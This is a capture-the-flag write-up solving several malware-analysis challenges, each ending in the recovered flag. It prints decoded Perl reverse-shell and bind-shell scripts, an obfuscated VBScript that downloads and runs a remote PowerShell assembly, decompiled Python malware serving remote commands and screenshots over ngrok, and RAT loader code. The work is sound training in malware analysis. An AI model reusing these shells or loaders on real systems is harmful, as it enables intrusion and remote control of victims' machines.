Working backwards and decoding the payload in $gbaylYLd6204, we get a large PHP script. At the bottom of the script, we find some encoded variables.

$back_connect_p="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRpYWRkcj1pbmV0X2F0b24oJEFSR1ZbMF0pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKbXkgJHN0ciA9IDw8RU5EOwpiZWdpbiA2NDQgdXVlbmNvZGUudXUKRjlGUUE5V0xZOEM1Qy0jLFEsVjBRLENEVS4jLFUtJilFLUMoWC0mOUM5IzhTOSYwUi1HVGAKYAplbmQKRU5ECnN5c3RlbSgnL2Jpbi9zaCAtaSAtYyAiZWNobyAke3N0cmluZ307IGJhc2giJyk7CmNsb3NlKFNURElOKTsKY2xvc2UoU1RET1VUKTsKY2xvc2UoU1RERVJSKQ==";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";

Decoding the value of $back_connect_p, we get a Perl script containing some uuencoded data.

#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
my $str = <<END;
begin 644 uuencode.uu
F9FQA9WLY8C5C-#,Q,V0Q,CDU.#,U-&)E-C(X-&9C9#8S9&0R-GT`
`
end
END
system('/bin/sh -i -c "echo ${string}; bash"');
close(STDIN);
close(STDOUT);
close(STDERR)

Decoding the uuencoded data with a tool like uuencode encode & decode online, we get the flag.

flag{9b5c4313d12958354be6284fcd63dd26}


VeeBeeEee

Malware

Description

While investigating a host, we found this strange file attached to a scheduled task. It was invoked with wscript or something… can you find a flag?

Solution

The attached file is a Microsoft Script Encoder encoded script, decoding the script using CyberChef, we get obfuscated VBScript code.

Set Object  = WScript.CreateObject("WScript.Shell") ''''''''''''''''al37ysoeopm'al37ysoeopm
Set SObject = CreateObject("Shell.Application")''''''''''''''''al37ysoeopm'al37ysoeopm
Set FObject = CreateObject("Scripting.FileSystemObject")''''''''''''''''al37ysoeopm'al37ysoeopm
SPath   = WScript.ScriptFullName''''''''''''''''al37ysoeopm'al37ysoeopm
Dim Code''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
Power0 = "Po"''''''''''''''''al37ysoeopm'al37ysoeopm
Power1 = "we"''''''''''''''''al37ysoeopm'al37ysoeopm
Power2 = "rS"''''''''''''''''al37ysoeopm'al37ysoeopm
Power3 = "he"
Power4 = "ll"''''''''''''''''al37ysoeopm'al37ysoeopm
Power5 = " "''''''''''''''''al37ysoeopm'al37ysoeopm
Power = Power0 + Power1 + Power2 + Power3 + Power4 + Power5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
Path0 = "&$&f&&=&'&&C&"''''''''''''''''al37ysoeopm'al37ysoeopm
Path1 = "&:&\&U&s&e&&rs" ''''''''''''''''al37ysoeopm'al37ysoeopm
Path2 = "&\P&&u&b&l&i&&c&"''''''''''''''''al37ysoeopm'al37ysoeopm
Path3 = "\D&&o&c&u&me" ''''''''''''''''al37ysoeopm'al37ysoeopm
Path4 = "n&ts&\&&J&u&ly"''''''''''''''''al37ysoeopm'al37ysoeopm
Path5 = "&.h&t&&m&';"''''''''''''''''al37ysoeopm'al37ysoeopm
Path   = Path0 + Path1 + Path2 + Path3 + Path4 + Path5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest0 = "&i&&f &(&!(T&e&st&-P&ath &$&f)&){&&I&n&v&o&ke&-&W&eb&&R&eq&u&&e&s&t '"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest1 = "&h&t&t&p&s&:&/&/&p&a&s&t"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest2 = "&e&b&i&n&.&c&o&m&/&r&a&w"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest3 = "&/&S&i&Y&G&w&w&c&z&"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest4 = "'& &-o&u&"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest5 = "t&f&i&le &$f&  &};"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest = Reqest0 + Reqest1 + Reqest2 +  Reqest3 + Reqest4 + Reqest5''''''''''''''''al37ysoeopm'al37ysoeopm
PathString = SObject.NameSpace(7).Self.Path & "/" & WScript.ScriptName''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest0 = "&[&S&y&s&t&e&m&."''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest1 = "&R&e&f&l&e&c&t&i&"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest2 = "o&n&.&A&s&s&e&m&b&l"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest3 = "&y&]&:&:&l&o&a&d&f" ''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest4 = "&i&l&e(&$&"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest5 = "f&)&;&"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest = InvokeReqest0 + InvokeReqest1 + InvokeReqest2 + InvokeReqest3 + InvokeReqest4 + InvokeReqest5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem0 = "&[&W&o&r&k"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem1 = "&A&r&e&a&."''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem2 = "&W&o&&r&k"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem3 = "]&:&"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem4 = ":&E&x&" ''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem5 = "e(&)&"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem   = ExecAssem0 + ExecAssem1 + ExecAssem2 + ExecAssem3 + ExecAssem4 + ExecAssem5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
CollectThenReplace Power , Path , Reqest , InvokeReqest , ExecAssem
''''''''''''''''al37ysoeopm'al37ysoeopm

Sub CollectThenReplace(First, Second , Third , Fourth , Fifth)''''''''''''''''al37ysoeopm'al37ysoeopm
Temp = First + Second + Third + Fourth + Fifth''''''''''''''''al37ysoeopm'al37ysoeopm
Code = Replace(Temp , "&" , "" )''''''''''''''''al37ysoeopm'al37ysoeopm
End Sub''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
Return = Object.Run(Code, 0, true)''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
WScript.Sleep(50000)''''''''''''''''al37ysoeopm'al37ysoeopm
For i = 1 To 5''''''''''''''''al37ysoeopm'al37ysoeopm
if i = 5 Then''''''''''''''''al37ysoeopm'al37ysoeopm
Paste(SPath)
End if''''''''''''''''al37ysoeopm'al37ysoeopm
Next''''''''''''''''al37ysoeopm'al37ysoeopm
Sub Paste(RT)
FObject.CopyFile RT,PathString
End Sub

Cleaning up the script, we can see what’s really going on in the script.

Set Object  = WScript.CreateObject("WScript.Shell") 
Set SObject = CreateObject("Shell.Application")
Set FObject = CreateObject("Scripting.FileSystemObject")
SPath   = WScript.ScriptFullName
Dim Code

Power = "PowerShell "

Path  = "$f='C:\Users\Public\Documents\July.htm';"

Reqest = "if (!(Test-Path $f)){Invoke-WebRequest 'https://pastebin.com/raw/SiYGwwcz' -outfile $f  };"

PathString = SObject.NameSpace(7).Self.Path  "/"  WScript.ScriptName
InvokeReqest = "[System.Reflection.Assembly]::loadfile($f);"

ExecAssem = "[WorkArea.Work]::Exe()"

CollectThenReplace Power , Path , Reqest , InvokeReqest , ExecAssem


Sub CollectThenReplace(First, Second , Third , Fourth , Fifth)
Temp = First + Second + Third + Fourth + Fifth
Code = Replace(Temp , "" , "" )
End Sub

Return = Object.Run(Code, 0, true)

WScript.Sleep(50000)
For i = 1 To 5
if i = 5 Then
Paste(SPath)
End if
Next
Sub Paste(RT)
FObject.CopyFile RT,PathString
End Sub

Fetching the Pastebin link, we get the flag.

curl https://pastebin.com/raw/SiYGwwcz
<!-- flag{ed81d24958127a2adccfb343012cebff} -->

Snake Eater

Malware

Description

Hey Analyst, I’ve never seen an executable icon that looks like this. I don’t like things I’m not familiar with. Can you check it out and see what it’s doing?

Solution

Starting Process Monitor and then executing the attached snake_eater.exe, we find the flag in the output.

flag{d1343a2fc5d8427801dd1fd417f12628}


Opendir

Malware

Description

A threat actor exposed an open directory on the public internet! We could explore their tools for some further intelligence. Can you find a flag they might be hiding?

NOTE: This showcases genuine malware samples found a real opendir. For domain reputation purposes, this is behind Basic Authentication with credentials: opendir:opendir

Solution

For this challenge we get an open directory on a web server.

Let’s start by mirroring the directory by running wget -m --http-user=opendir --http-password=opendir.

Now we can run grep -R flag * to find the flag.

sir/64_bit_new/oui.txt:flag{9eb4ebf423b4e5b2a88aa92b0578cbd9}


Thumb Drive

Malware

Description

People say you shouldn’t plug in USB drives! But I discovered this neat file on one that I found in the parking lot…

WARNING: Your antivirus solution may raise an alert (this is the ‘Malware’ category, after all). Please do not attempt this challenge without the usual caution you may take when analyzing malicious software.

Solution

Attached is a LNK file. Running cat on the file reveals a link, https://tinyurl.com/a7ba6ma, which leads to a file containing an Base32 encoded payload.

Base32 decoding the payload, we get a DLL file.

Opening the DLL in ida, we can find an interesting string.

Taking a look at the code where the string is used shows some string deobfuscation routine and a call to MessageBoxA. So it seems that the flag will be printed if we run the code in the DLL.

void _MessageBoxThread@4(void)
{  
                    /* 0x1000  2  _MessageBoxThread@4 */
  local_8 = DAT_10003004 ^ (uint)&stack0xfffffffc;
  uVar1 = 0;
  local_160 = 0x84;
  auStack_15c[0] = 0xc6;
  auStack_15c[1] = 0xbd;
  auStack_15c[2] = 0xbf;
  local_d0 = 0x33;
  auStack_15c[3] = 0xa8;
  uStack_14c = 0xd9;
  uStack_148 = 0x91;
  uStack_144 = 0x6d;
  local_cc = 0x26;
  local_140 = 8;
  uStack_13c = 0xb;
  uStack_138 = 0x4b;
  uStack_134 = 0xe6;
  local_38 = 0x57;
  local_130 = 0xb3;
  uStack_12c = 0xcb;
  uStack_128 = 0x92;
  uStack_124 = 0xde;
  local_34 = 0x5b;
  local_120 = 0xa1;
  uStack_11c = 100;
  uStack_118 = 0xdf;
  uStack_114 = 0xf5;
  local_110 = 0x9c;
  uStack_10c = 0x75;
  uStack_108 = 7;
  uStack_104 = 0xc6;
  local_100 = 0x35;
  uStack_fc = 0x10;
  uStack_f8 = 0xf7;
  uStack_f4 = 0x5d;
  local_f0 = 0x98;
  uStack_ec = 0x56;
  uStack_e8 = 0x8a;
  uStack_e4 = 0x16;
  local_e0 = 0x28;
  uStack_dc = 8;
  uStack_d8 = 0x69;
  uStack_d4 = 0x9b;
  local_c8 = 0xe2;
  auStack_c4[0] = 0xaa;
  auStack_c4[1] = 0xdc;
  auStack_c4[2] = 0xd8;
  auStack_c4[3] = 0xd3;
  uStack_b4 = 0xe9;
  uStack_b0 = 0xf0;
  uStack_ac = 0xb;
  local_a8 = 0x3a;
  uStack_a4 = 0x33;
  uStack_a0 = 0x7c;
  uStack_9c = 0xd5;
  local_98 = 0xd2;
  uStack_94 = 0xfc;
  uStack_90 = 0xa6;
  uStack_8c = 0xbd;
  local_88 = 199;
  uStack_84 = 5;
  uStack_80 = 0xe6;
  uStack_7c = 0xc0;
  local_78 = 0xab;
  uStack_74 = 0x16;
  uStack_70 = 100;
  uStack_6c = 0xa4;
  local_68 = 0xc;
  uStack_64 = 0x20;
  uStack_60 = 0x94;
  uStack_5c = 0x38;
  local_58 = 0xfe;
  uStack_54 = 0x6e;
  uStack_50 = 0xbb;
  uStack_4c = 0x22;
  local_48 = 0x4b;
  uStack_44 = 0x6e;
  uStack_40 = 0xc;
  uStack_3c = 0xa8;
  do {
    local_30[uVar1] = *(byte *)(&local_c8 + uVar1) ^ *(byte *)(&local_160 + uVar1);
    local_30[uVar1 + 1] = *(byte *)(auStack_c4 + uVar1) ^ *(byte *)(auStack_15c + uVar1);
    uVar1 = uVar1 + 2;
  } while (uVar1 < 0x26);
  MessageBoxA((HWND)0x0,(LPCSTR)local_30,"Your flag is:",0);
  FUN_100011b7(local_8 ^ (uint)&stack0xfffffffc);
  return;
}

If we run the command rundll32 payload.dll,0, we get the message box containing the flag.

flag{0af2873a74cfa957ccb90cef814cfe3d}


Speakfriend

Malware

Description

It seems like this website was compromised. We found this file that seems to be related… can you make any sense of these and uncover a flag?

Solution

After unpacking the attached challenge file, we get an ELF file called main.

Opening the file in IDA, we can see that the malware uses curl to send a request to a web page.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v4; // rax
  unsigned int v5; // ebx
  size_t v6; // rax
  int i; // [rsp+1Ch] [rbp-204h]
  const char *v8; // [rsp+48h] [rbp-1D8h]
  char *s1; // [rsp+50h] [rbp-1D0h]
  __int64 v10; // [rsp+58h] [rbp-1C8h]
  char v11[160]; // [rsp+60h] [rbp-1C0h] BYREF
  char v12[264]; // [rsp+100h] [rbp-120h] BYREF
  unsigned __int64 v13; // [rsp+208h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  if ( argc > 1 && argc <= 3 )
  {
    v8 = argv[1];
    if ( argc == 3 )
      v4 = argv[2];
    else
      v4 = "443";
    s1 = (char *)v4;
    strcpy(v11, "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e");
    for ( i = 0; i < 48; ++i )
    {
      v5 = v11[i];
      v6 = strlen(&v11[48]);
      sprintf(&v11[v6 + 48], "%c", v5);
    }
    curl_global_init(3LL);
    while ( 1 )
    {
      v10 = curl_easy_init();
      if ( v10 )
      {
        if ( !strcmp(s1, "443") )
        {
          curl_easy_setopt(v10, 10002LL, v8);
        }
        else
        {
          snprintf(v12, 0x100uLL, "%s:%s", v8, s1);
          curl_easy_setopt(v10, 10002LL, v12);
        }
        curl_easy_setopt(v10, 10018LL, &v11[48]);
        curl_easy_setopt(v10, 20011LL, write_callback);
        curl_easy_setopt(v10, 119LL, 3LL);
        curl_easy_setopt(v10, 64LL, 0LL);
        curl_easy_setopt(v10, 81LL, 0LL);
        curl_easy_setopt(v10, 52LL, 1LL);
        curl_easy_perform(v10);
        curl_easy_cleanup(v10);
      }
      sleep(0x1Eu);
    }
  }
  return 1;
}

The code strcpy(v11, "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e"); looks interesting. It seems to replace the User-Agent header with this custom value.

Requesting the challenge website with this header, using the command curl hxxps://chal.ctf.games:30099 -A "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" -k returns something different from the usual challenge page.

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/93bed45b-7b70-4097-9279-98a4aef0353e/c2">/93bed45b-7b70-4097-9279-98a4aef0353e/c2</a>. If not, click the link.

Connecting to the redirect link with the command curl hxxps://chal.ctf.games:30099 -A "Mozilla/5.0 93bed45b-7b70-4097-9279-98a4aef0353e" -k -L, we get the flag.

flag{3f2567475c6def39501bab2865aeba60}


Snake Oil

Malware

Description

One of our workstations was exhibiting strange network communications… we found this binary that looked to be the culprit. Can you find anything suspicious?

Solution

Inspecting the attached exe file, we find some strings indicating that it’s an Python executable. We can extract the Python files by using pyinstxtractor.

[+] Processing snake-oil
[+] Pyinstaller version: 2.1+
[+] Python version: 3.9
[+] Length of package: 13435879 bytes
[+] Found 963 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth__tkinter.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: brain-melt.pyc
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: snake-oil

You can now use a python decompiler on the pyc files within the extracted directory

Now we got the compiled Python files, using pycdc, we can decompile the brain-melt.pyc file.

# Source Generated with Decompyle++
# File: brain-melt.pyc (Python 3.9)

from flask import Flask, flash, request, render_template_string, send_file, redirect
from wtforms import Form, TextField, validators, StringField, SubmitField
import subprocess
import pyautogui
import io
import sys
from PIL import Image
from pyngrok import ngrok
import base64
DEBUG = True
app = Flask(__name__)
app.config['SECRET_KEY'] = '9EQrXQ88pwP7UWaXbkmThhKuDdYxsad1'

def decrypt(s1, s2):
    return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(s1, s2)))


def deobfuscate():
    part1 = '2ec7627d{galf'[::-1]
    part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
    part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
    key = part1 + part2 + part3
    return key


def ngrok_tunnel():
    ngrok.set_auth_token(deobfuscate())
    http_tunnel = ngrok.connect(5000, 'http', '-log=stdout > NUL')


def Desktop(pil_img):
    img_io = io.BytesIO()
    pil_img.save(img_io, 'JPEG', 70, **('quality',))
    img_io.seek(0)
    return send_file(img_io, 'image/jpeg', **('mimetype',))


def execute(cmd):
    child = subprocess.Popen(cmd, True, subprocess.PIPE, subprocess.PIPE, **('shell', 'stdout', 'stderr'))
    for line in child.stdout:
        print(line)
        l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
        flash(l)
    for line in child.stderr:
        l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
        flash(l)


class CommandForm(Form):
    command = TextField('Command:', [
        validators.required()], **('validators',))

    def display():
        form = CommandForm(request.form)
        print(form.errors)
        if request.method == 'POST':
            command = request.form['command']
        if form.validate() and request.method == 'POST':
            result = execute(command)
            flash(result)
        else:
            flash('Please enter a command.')
        return render_template_string('<!doctype html>\n                <html>\n                    <head>\n                        <link rel="stylesheet" href="css url"/>\n                            </head>\n                                <body>\n                                    <form action="" method="post" role="form">\n                                        <div class="form-group">\n                                              <label for="Command">Command:</label>\n                                              <input type="text" class="form-control" id="command" name="command"></div>\n                                              <button type="submit" class="btn btn-success">Submit</button>\n                                              </form>\n                                            {% for message in get_flashed_messages() %}\n                                            <p>{{ message }}</p>\n                                            {% endfor %}\n                                            <img src="/images/desktop.jpg" id="img" width="100%" scrolling="yes" style="height: 100vh;"></iframe>\n                                </body>\n                            \n                            {% block javascript %}\n                            <script type="text/javascript">\n                            window.onload = function() {\n                                var image = document.getElementById("img");\n\n                                function updateImage() {\n                                    image.src = image.src.split("?")[0] + "?" + new Date().getTime();\n                                }\n\n                                setInterval(updateImage, 1000);\n                            }\n                            </script>\n                            {% endblock %}\n                            </html>\n                        ', form, **('form',))

    display = app.route('/', [
        'GET',
        'POST'], **('methods',))(display)


def serve_img():
    screenshot = pyautogui.screenshot()
    return Desktop(screenshot)

serve_img = app.route('/images/desktop.jpg')(serve_img)
# WARNING: Decompyle incomplete

Now we have the decompiled code for the malware. Taking a look through the code, we can see the string 2ec7627d{galf in the deobfuscate function, which is the first part of the flag. Extracting the deobfuscate and decrypt functions and using them in a new script, we can recover the flag.

#!/usr/bin/env python3

import base64


def decrypt(s1, s2):
    return ''.join((lambda a: [chr(ord(c1) ^ ord(c2)) for c1, c2 in a])(zip(s1, s2)))


def deobfuscate():
    part1 = '2ec7627d{galf'[::-1]
    part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
    part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
    key = part1 + part2 + part3
    return key


print(deobfuscate())

Running the script returns the flag.

flag{d7267ce26203b5cc69f4bab679cc78d2}


RAT

Malware

Description

I was arguing with a co-worker on whether or not it is “Remote Access Tool” or “Remote Access Trojan”, and he didn’t agree with me, so I sent him this shady file 😉

NOTE, this challenge is based off of a real malware sample. We have done our best to “defang” the code, but out of abudance of caution it is strongly encouraged you only analyze this inside of a virtual environment separate from any production devices.

Solution

The attached file is a .NET executable, so we can decompile it with a tool like ILSpy. Taking a look at the code, we can see that all the program does, is extracting some data from itself, decoding it and loads one of the files as an assembly, and the other is executed.

To extract the files, we can use the code in the cry class as a starting point.

    public class cry
    {
        public class readers
        {
            public static string getStr(int massive)
            {
                byte[] bytes = File.ReadAllBytes(perem.path);
                return Regex.Match(Encoding.ASCII.GetString(bytes), "<pass1>(.*?)</pass1><pass2>(.*?)</pass2><autorun>(.*?)</autorun>").Groups[massive].Value;
            }

            public static byte[] getArr(int massive)
            {
                byte[] bytes = File.ReadAllBytes(perem.path);
                return decrypters.hextobyte(Regex.Match(Encoding.ASCII.GetString(bytes), "<libArr>(.*?)</libArr><fileArr>(.*?)</fileArr>").Groups[massive].Value);
            }
        }

        public class decrypters
        {
            public static byte[] hextobyte(string hex)
            {
                int length = hex.Length;
                byte[] array = new byte[length / 2];
                for (int i = 0; i < length; i += 2)
                {
                    array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
                }
                return array;
            }

            public static byte[] decrypt(byte[] data, int pass)
            {
                for (int i = 0; i < data.Length; i++)
                {
                    data[i] = (byte)(data[i] ^ pass);
                }
                using MemoryStream stream = new MemoryStream(data);
                using GZipStream gZipStream = new GZipStream(stream, CompressionMode.Decompress);
                using MemoryStream memoryStream = new MemoryStream();
                gZipStream.CopyTo(memoryStream);
                return memoryStream.ToArray();
            }
        }
    }

As we can see in the readers class, the data is read from within some markup tags. In the getStr method, we have some passwords and in the getArr method the DLL and EXE data is read.

This information is then used in the decrypt method, where libArr uses the pass1 value for pass, and fileArr uses the pass2 value.

To decrypt the data, each byte in the data array is XOR:ed with the pass value. This will result in some GZip compressed data. After unpacking the data, we have the decrypted files.

To do this, we can either do that manually, or use the following Python script.

#!/usr/bin/env python3

import re
import sys
import gzip


def extract_data(data, regex):
    match = re.search(regex, data)
    if match:
        return match.group(1)
    else:
        return None


def decode(data, pw):
    return bytes([x ^ pw for x in data])


def save(data, filename):
    data = gzip.decompress(data)
    with open(filename, 'wb') as f:
        f.write(data)


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print('Usage: extract.py <file>')
        sys.exit(1)

    with open(sys.argv[1], 'rb') as f:
        data = f.read()

    libArr = bytes.fromhex(extract_data(
        data, b'<libArr>(.*)</libArr>').decode())
    fileArr = bytes.fromhex(extract_data(
        data, b'<fileArr>(.*)</fileArr>').decode())
    pass1 = int(extract_data(data, b'<pass1>(.*)</pass1>').decode()) % 256
    pass2 = int(extract_data(data, b'<pass2>(.*)</pass2>').decode()) % 256

    libArr = decode(libArr, pass1)
    fileArr = decode(fileArr, pass2)

    save(libArr, 'libArr.dll')
    save(fileArr, 'fileArr.exe')

Now that we have the next stage of the malware, we can start poking around at it. Decompiling the fileArr.exe file, we can find a Settings class with a bunch of encrypted values.

// Client.Settings
using System;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using Client.Algorithm;
using Client.Helper;

public static class Settings
{
    public static string Por_ts = "bXGmOq5acG9CAtRKtRJkfqH5X5HLW67RlYyFZJ00/iG0/I1eqBXOR4870uo1QTcLGfpqwcbkWv8oFWIuQOXrBBRM/snjV/KU3AFXq+Y938Y=";

    public static string Hos_ts = "N8prnI5ec4B7gUkGVPDluju/aA/pRitgZQnomc8bRjSiXdbPQKTDzXvrQ2X1xNv+X4uRps2FgAa2Gk/lIIW+p4dF67jeZmIeqA5Tes5X6F0=";

    public static string Ver_sion = "37sMWzpSzMxyzlFxmKngkegtpxSKePHfSZbRFNZklHXV9Usa6jhRS/DQQ4A34SDWZuQKC/qCl1pk9/bAOok+Nw==";

    public static string In_stall = "dKw7UzFnW/FJY8j56iNPRxPGWL4A9dYIabmSHBFcatOvHSN2HSP060SnRYzfm+AL59fqudsXAkYrsULPTaYhKg==";

    public static string Install_Folder = "%AppData%";

    public static string Install_File = "svchost.exe";

    public static string Key = "S1hNZ2tQdFJlRkVIWXhKczRMZEIwRmRQVmg3WGxDNEQ=";

    public static string MTX = "ZA+KebBDBS4ANwMEHlyqteMUJ/hwDRcw+YRdtBeIzpihPF0k5KQ+OtGRUxvfFHXKdQr9Fef6lFjLCOHxWubHlcHVJsdYTz8VkkxuzaDfNc4=";

    public static string Certifi_cate = "9WJ5xtcODEQb7ZvCtKphQbb2ru4AFR08ymEa+hXiN6lNVAqM7bsdCgbE/J3FpKyjIwN1tb3rlkAjZBjw/S7yIg0P64Hc0aw1ppbhiHU8UsOp+5iQqabG1jy678cxtFk/6syurBtsWwtJ2JaSPQXvMsIvsVoxKRdWw+ByQcclAIC66eYt7zrViwvTHpzIVSONxMloHRhHT5uPlfkAexLuk7VAg6qMKlaQIGO2iw9Jfjcb3xRAkgvm6NPCzVyFhmrFv2e5iU7c/ZYrGqbeAfMQhfZ2YJwehEJlNIhJHbA/QQIq5luU2nd+SSknKYuBvE9py9roV7nAN11SXxIr2g+ly0vH7oWnpF7iKzg+04mAM0WjEr1C1b3QSMD1RoXdCsBuhhHu1Zo3YDEEz6A4Q8oYsc75DHIJvmhZ17amSqSLrt/+Op2TqKAbRbovpCTQZo1Y3iP7/OShGCPagfpor+e4Wh5GuiIdgxo9Wi8XjJlS1rRhmmUMqrOIG0t4Myq95Z67BuamtEYuovE+dWq/DJWbkSQ/sUyg936zyA6Cl7opuKwJn/NPlQkIjXo1DkDK/L8esUX4MfcPHNClz6sacnaSDJ2rxWHAI3kfmIRNHm9N2bDDfMeBIR2drJ4g/ghCUPm87g+O7XyzVJvcrHhPOw4SRj4OQguM/aVST6V+4LPD4vDA5bOoXGKprz4NnNqtKoYPuJNfQdyDJDpqTH7CaX5IKJwjmvjcHe4zZREvIZp3e+ouKSr44Z3c0LkDc9odHtePs7QE817/uUxVG9I499beG3KfAn4eQEw25FAgcORlKRygAiCNW9p+EI31bKkYpyQ0wYJ6P03nkolzNH+S90saXoyH4Io9f3XoinA9ddGn6E0ZxB1dVD6s7WrGaAno1WvayycbWhlz4nupvY8O3v6B72CGwHarXFllsz6FFrfSGBdgeHBGeL8oo8Gu2858pnUwzV/Y8Z23dwTctu8kFQ47FfDLxhLZv8YavH45c93HIjEc0atNNgQXqzq0sQGWQImQDJWfEfbPVA8HBgFU9Dj5WvYgbB7su46QaWLh7FBouHytXQaAspq3suR0xm/yQ0yY";

    public static string Server_signa_ture = "eV+NaSPLGvju8kMCdjN4G13uIdgxoS0mF9/3sOr2BD3JNZNsiFqx0Q6dc1gf7OzHM5tJaPVSNf+AM/8EubFMYVkDHpZ5Bz9ehSrkL4KPsxfx3MGb+tc7O0p/Gq8lxGmaoVvdrd7Tk3rMhRCqfbbfslr1ocdqK0U/HF0Ct0I6LEYzOomsTjFHKldkaVOqyBeo6O24rslUCKhKoOsfLMCqXSrFdvxERutEHzljVKc9nB+d194b53624GU4bfDda7uCv46sO0uxkYVe3vzLNfN9XKQVsP6gYLJYqHAYamhcBS8=";

